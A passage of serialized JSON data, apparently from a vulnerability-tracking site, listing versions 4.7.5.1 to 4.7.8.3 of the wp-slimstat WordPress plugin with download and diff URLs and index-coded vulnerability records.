3,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2840,"download_url":2841,"svn_tag_url":2842,"released_at":39,"has_diff":54,"diff_files_changed":2843,"diff_lines":39,"trac_diff_url":2844,"vulnerabilities":2845,"is_current":54},"4.7.8.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.8.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.8.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.8.2&new_path=%2Fwp-slimstat%2Ftags%2F4.7.8.3",[2846,2847,2848,2849,2850,2851,2852,2853,2854,2855,2856,2857,2858,2859,2860,2861,2862,2863,2864,2865],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2867,"download_url":2868,"svn_tag_url":2869,"released_at":39,"has_diff":54,"diff_files_changed":2870,"diff_lines":39,"trac_diff_url":2871,"vulnerabilities":2872,"is_current":54},"4.7.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.8.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.8.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.8.1&new_path=%2Fwp-slimstat%2Ftags%2F4.7.8.2",[2873,2874,2875,2876,2877,2878,2879,2880,2881,2882,2883,2884,2885,2886,2887,2888,2889,2890,2891,2892],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2894,"download_url":2895,"svn_tag_url":2896,"released_at":39,"has_diff":54,"diff_files_changed":2897,"diff_lines":39,"trac_diff_url":2898,"vulnerabilities":2899,"is_current":54},"4.7.8.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.8.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.8.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.8&new_path=%2Fwp-slimstat%2Ftags%2F4.7.8.1",[2900,2901,2902,2903,2904,2905,2906,2907,2908,2909,2910,2911,2912,2913,2914,2915,2916,2917,2918,2919],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2921,"download_url":2922,"svn_tag_url":2923,"released_at":39,"has_diff":54,"diff_files_changed":2924,"diff_lines":39,"trac_diff_url":2925,"vulnerabilities":2926,"is_current":54},"4.7.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.7&new_path=%2Fwp-slimstat%2Ftags%2F4.7.8",[2927,2928,2929,2930,2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,2944,2945,2946],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2948,"download_url":2949,"svn_tag_url":2950,"released_at":39,"has_diff":54,"diff_files_changed":2951,"diff_lines":39,"trac_diff_url":2952,"vulnerabilities":2953,"is_current":54},"4.7.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.6.1&new_path=%2Fwp-slimstat%2Ftags%2F4.7.7",[2954,2955,2956,2957,2958,2959,2960,2961,2962,2963,2964,2965,2966,2967,2968,2969,2970,2971,2972,2973],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2975,"download_url":2976,"svn_tag_url":2977,"released_at":39,"has_diff":54,"diff_files_changed":2978,"diff_lines":39,"trac_diff_url":2979,"vulnerabilities":2980,"is_current":54},"4.7.6.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.6.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.6.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.6&new_path=%2Fwp-slimstat%2Ftags%2F4.7.6.1",[2981,2982,2983,2984,2985,2986,2987,2988,2989,2990,2991,2992,2993,2994,2995,2996,2997,2998,2999,3000],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3002,"download_url":3003,"svn_tag_url":3004,"released_at":39,"has_diff":54,"diff_files_changed":3005,"diff_lines":39,"trac_diff_url":3006,"vulnerabilities":3007,"is_current":54},"4.7.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.5.3&new_path=%2Fwp-slimstat%2Ftags%2F4.7.6",[3008,3009,3010,3011,3012,3013,3014,3015,3016,3017,3018,3019,3020,3021,3022,3023,3024,3025,3026,3027],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3029,"download_url":3030,"svn_tag_url":3031,"released_at":39,"has_diff":54,"diff_files_changed":3032,"diff_lines":39,"trac_diff_url":3033,"vulnerabilities":3034,"is_current":54},"4.7.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.5.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.5.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.5.2&new_path=%2Fwp-slimstat%2Ftags%2F4.7.5.3",[3035,3036,3037,3038,3039,3040,3041,3042,3043,3044,3045,3046,3047,3048,3049,3050,3051,3052,3053,3054],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3056,"download_url":3057,"svn_tag_url":3058,"released_at":39,"has_diff":54,"diff_files_changed":3059,"diff_lines":39,"trac_diff_url":3060,"vulnerabilities":3061,"is_current":54},"4.7.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.5.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.5.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.5.1&new_path=%2Fwp-slimstat%2Ftags%2F4.7.5.2",[3062,3063,3064,3065,3066,3067,3068,3069,3070,3071,3072,3073,3074,3075,3076,3077,3078,3079,3080,3081],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3083,"download_url":3084,"svn_tag_url":3085,"released_at":39,"has_diff":54,"diff_files_changed":3086,"diff_lines":39,"trac_diff_url":3087,"vulnerabilities":3088,"is_current":54},"4.7.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.5&new_path=%2Fwp-slimstat%2Ftags%2F4.7.5.1",[3089,3090,3091,3092,3093,3094,3095,3096,3097,3098,3099,3100,3101,3102,3103,3104,3105,3106,3107,3108],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id"